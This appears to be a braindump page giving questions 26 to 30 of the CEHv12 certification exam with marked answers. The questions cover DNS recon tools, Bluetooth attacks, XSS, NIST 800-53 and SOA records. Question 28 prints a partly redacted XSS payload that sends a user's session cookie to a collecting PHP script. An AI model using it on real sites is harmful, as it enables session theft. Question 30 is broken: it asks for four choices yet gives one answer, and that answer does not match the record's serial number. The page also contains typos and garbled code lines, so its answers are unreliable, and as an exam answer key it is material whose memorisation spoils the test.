Free 312-50v12 Exam Braindumps

Pass your Certified Ethical Hacker Exam (CEHv12) exam with these free Questions and Answers

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QUESTION 26

- (Exam Topic 2)
Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market. To launch the attacks process, he performed DNS footprinting to gather information about ONS servers and to identify the hosts connected in the target network. He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names. IP addresses. DNS records, and network Who is records. He further exploited this information to launch other sophisticated attacks. What is the tool employed by Gerard in the above scenario?

  1. A. Knative
  2. B. zANTI
  3. C. Towelroot
  4. D. Bluto

Correct Answer: D
https://www.darknet.org.uk/2017/07/bluto-dns-recon-zone-transfer-brute-forcer/
"Attackers also use DNS lookup tools such as DNSdumpster.com, Bluto, and Domain Dossier to retrieve DNS records for a specified domain or hostname. These tools retrieve information such as domains and IP addresses, domain Whois records, DNS records, and network Whois records." CEH Module 02 Page 138

QUESTION 27

- (Exam Topic 3)
Which of the following Bluetooth hacking techniques does an attacker use to send messages to users without the recipient’s consent, similar to email spamming?

  1. A. Bluesmacking
  2. B. BlueSniffing
  3. C. Bluejacking
  4. D. Bluesnarfing

Correct Answer: C
https://en.wikipedia.org/wiki/Bluejacking
Bluejacking is the sending of unsolicited messages over Bluetooth to Bluetooth-enabled devices such as mobile phones, PDAs or laptop computers, sending a vCard which typically contains a message in the name field (i.e., for bluedating or bluechat) to another Bluetooth-enabled device via the OBEX protocol.
Bluejacking is usually harmless, but because bluejacked people generally don't know what has happened, they may think that their phone is malfunctioning. Usually, a bluejacker will only send a text message, but with modern phones it's possible to send images or sounds as well. Bluejacking has been used in guerrilla marketing campaigns to promote advergames.
Bluejacking is also confused with Bluesnarfing, which is the way in which mobile phones are illegally hacked via Bluetooth.

QUESTION 28

- (Exam Topic 3)
Judy created a forum, one day. she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:
[removed]
[removed]f);
[removed]
What issue occurred for the users who clicked on the image?

  1. A. The code inject a new cookie to the browser.
  2. B. The code redirects the user to another site.
  3. C. The code is a virus that is attempting to gather the users username and password.
  4. D. This php file silently executes the code and grabs the users session cookie and session ID.

Correct Answer: D
[removed](<img.src=https://localhost/submitcookie.php cookie =+ escape([removed]) +/>); (Cookie and session ID theft)
https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/
As seen in the indicated question, cookies are escaped and sent to script to variable ‘cookie’. If the malicious user would inject this script into the website’s code, then it will be executed in the user’s browser and cookies will be sent to the malicious user.

QUESTION 29

- (Exam Topic 1)
Which regulation defines security and privacy controls for Federal information systems and organizations?

  1. A. HIPAA
  2. B. EU Safe Harbor
  3. C. PCI-DSS
  4. D. NIST-800-53

Correct Answer: D
NIST Special Publication 800-53 provides a catalog of security and privacy controls for all U.S. federal information systems except those related to national security. It is published by the National Institute of Standards and Technology, which is a non-regulatory agency of the United States Department of Commerce.
NIST develops and issues standards, guidelines, and other publications to assist federal agencies in implementing the Federal Information Security Modernization Act of 2014 (FISMA) and to help with managing cost-effective programs to protect their information and information systems.

QUESTION 30

- (Exam Topic 1)
One of your team members has asked you to analyze the following SOA record. What is the version? Rutgers.edu.SOA NS1.Rutgers.edu ipad.college.edu (200302028 3600 3600 604800 2400.) (Choose four.)

  1. A. 200303028
  2. B. 3600
  3. C. 604800
  4. D. 2400
  5. E. 60
  6. F. 4800

Correct Answer: A

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